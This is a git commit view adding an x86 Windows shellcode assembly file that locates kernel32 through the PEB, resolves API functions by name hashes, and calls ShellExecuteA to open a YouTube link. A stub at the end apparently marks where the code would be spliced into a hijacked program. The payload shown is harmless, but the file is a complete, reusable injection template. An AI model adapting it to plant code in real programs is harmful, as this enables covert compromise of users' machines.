aboutsummaryrefslogtreecommitdiff
path: root/shellcode.asm
diff options
context:
space:
mode:
authorsegfault <segfault@secmail.pro>2019-03-25 01:49:56 +0100
committersegfault <segfault@secmail.pro>2019-03-25 01:49:56 +0100
commit368a9d701233bda78358335f62aa84c8f81cbeaa (patch)
treeac0d6c78d867954ff7d0cb326f84ad84053cf7df /shellcode.asm
initial commit
Signed-off-by: segfault <segfault@secmail.pro>
Diffstat (limited to 'shellcode.asm')
-rw-r--r--shellcode.asm173
1 files changed, 173 insertions, 0 deletions
diff --git a/shellcode.asm b/shellcode.asm
new file mode 100644
index 0000000..8d4057d
--- /dev/null
+++ b/shellcode.asm
@@ -0,0 +1,173 @@
+bits 32
+section .shellcode align=1
+
+global _shellcode
+global _shellcode_size
+
+_shellcode:
+jmp _shellcode_entry
+
+
+; Calculate a 32 bit hash from a string (non-case-sensitive)
+; arguments: esi = ptr to string
+; ecx = bufsiz
+; modifies : eax, edi
+; return : 32 bit hash value in edi
+_calcStrHash:
+ xor edi,edi
+ _calcHash_loop:
+ xor eax,eax
+ lodsb ; read in the next byte of the name [esi] and store it in al
+ cmp al,'a' ; some versions of Windows use lower case module names
+ jl _calcHash_not_lowercase
+ sub al,0x20 ; if so normalise to uppercase
+ _calcHash_not_lowercase:
+ ror edi,13 ; rotate right our hash value
+ add edi,eax ; add the next byte of the name to the hash
+ loop _calcHash_loop
+ ret
+
+; Get base address of kernel32.dll (alternative way through PEB)
+; arguments: -
+; modifies : eax, ebx
+; return : base addres in eax
+_getModuleHandleKernel32PEB:
+ mov eax,[fs:0x30] ; PEB
+ mov eax,[eax+0x0c] ; PEB->Ldr
+ mov eax,[eax+0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
+ mov ebx,eax
+ xor ecx,ecx
+ _getModuleHandleKernel32PEB_loop:
+ pushad
+ mov esi,[ebx+0x28] ; Flink.ModuleName (16bit UNICODE)
+ mov ecx,0x18 ; max module length: 24 -> len('kernel32.dll')*2
+ call _calcStrHash
+ cmp edi,0x6A4ABC5B ; pre calculated module name hash of 'kernel32.dll'
+ popad
+ mov ecx,[ebx+0x10] ; get base address
+ mov ebx,[ebx]
+ jne _getModuleHandleKernel32PEB_loop
+ mov eax,ecx
+ ret
+ _getModuleHandleKernel32PEB_fail:
+ xor eax,eax
+ ret
+
+; Get Address of GetProcAddress from module export directory
+; arguments: eax = kernel32 base address
+; modifies : eax, ebx, ecx, edi, edx, esi
+; return : eax
+_getAdrOfGetProcAddress:
+ mov ebx,eax
+ add ebx,[eax+0x3c] ; PE header
+ mov ebx,[ebx+0x78] ; RVA export directory
+ add ebx,eax
+ mov esi,[ebx+0x20] ; RVA Export Number Table
+ add esi,eax ; VA of ENT
+ mov edx,eax ; remember kernel base
+ xor ecx,ecx
+ _getAdrOfGetProcAddress_loop:
+ inc ecx
+ lodsd ; load dword from esi into eax
+ add eax,edx ; add kernel base
+ pushad
+ mov esi,eax ; string
+ mov ecx,14 ; len('GetProcAddress')
+ call _calcStrHash
+ cmp edi,0x1ACAEE7A ; pre calculated hash of 'GetProcAddress' (see _calcStrHash)
+ popad
+ jne _getAdrOfGetProcAddress_loop
+ dec ecx
+ mov edi,ebx
+ mov edi,[edi+0x24] ; RVA of Export Ordinal Table
+ add edi,edx ; VA of EOT
+ movzx edi,word [ecx*2+edi] ; ordinal to function
+ mov eax,ebx
+ mov eax,[eax+0x1c] ; RVA of Export Address Table
+ add eax,edx ; VA of EAT
+ mov eax,[edi*4+eax] ; RVA of GetProcAddress
+ add eax,edx ; VA of GetProcAddress
+ ret
+
+
+_shellcode_entry:
+; Wanna debug?
+;int3
+pushad
+; Get Kernel32 base address from PEB
+call _getModuleHandleKernel32PEB ; kernel32.dll stores the base in eax
+sub esp, 8 ; make space for address of LoadLibraryA
+ ; and Shell32.dll base address
+push eax
+call _getAdrOfGetProcAddress ; locate GetProcAddress by using eax (result in eax)
+push eax
+mov ebp,esp ; new stack frame
+; LoadLibraryA / ShellExecuteA
+push 0x00000000 ; NUL termination
+push 0x41797261 ; 'Ayra'
+push 0x7262694C ; 'rbiL'
+push 0x64616F4C ; 'daoL'
+push esp ; ptr to string above (1st arg for GetProcAddress)
+push dword [ebp+4] ; KERNEL32.dll base address (2nd arg for GetProcAddress)
+call [ebp] ; GetProcAddress
+mov [ebp+8],eax ; LoadLibraryA in eax
+
+push 0x006C6C64 ; 'lld'
+push 0x2E32336C ; '.23l'
+push 0x6C656853 ; 'lehS'
+push esp ; ptr to string above (1st arg for LoadLibraryA)
+call [ebp+8] ; GetProcAddress
+mov [ebp+12],eax ; Shell32.dll in eax
+
+push 0x00000041 ; 'A'
+push 0x65747563 ; 'etuc'
+push 0x6578456C ; 'exEl'
+push 0x6C656853 ; 'lehS'
+push esp ; ptr to string above (1st arg for GetProcAddress)
+push dword [ebp+12] ; Shell32.dll base address (2nd arg for GetProcAddress)
+call [ebp] ; GetProcAddress
+; ShellExecuteA address in eax
+
+; ShellExecuteA
+; URL: http://y2u.be/DLzxrzFCyOs
+push 0x00000073 ; 's'
+push 0x4F794346 ; 'OyCF'
+push 0x7A72787A ; 'zrxz'
+push 0x4C442F65 ; 'LD/e'
+push 0x622E7532 ; 'b.u2'
+push 0x792F2F3A ; 'y//:'
+push 0x70747468 ; 'ptth'
+; 'Open'
+push 0x00000000
+push 0x6E65706F
+; Arguments for ShellExecuteA
+push 0x00000001 ; nShowCmd -> SW_SHOWNORMAL
+push esp
+push 0x00000000 ; lpDirectory -> NULL
+push 0x00000000 ; lpParameters -> NULL
+push esp
+add dword [esp], 24 ; lpFile -> address to URL
+push esp
+add dword [esp], 20 ; lpOperation -> address to 'Open'
+push 0x00000000 ; hwnd -> NULL
+call eax
+
+; cleanup stack memory
+add esp,16 + 12 + 16 + 28 + 8 + 4 + 8
+pop eax
+pop eax
+popad
+
+; The following code is typically used to test the shellcode.
+; If you don't plan to test it e.g. by running test_shellcode()
+; you can delete the cmp, jne, ret and shellcode_noret.
+cmp eax, 0xDEADBEEF
+jne shellcode_noret
+ret
+shellcode_noret:
+; will be overwritten by our "jump back to original code flow" instruction
+db 0xFF,0xDE,0xAD,0xC0,0xDE
+db 0x00,0x00,0x00,0x00,0x00
+
+_shellcode_size:
+dd $ - _shellcode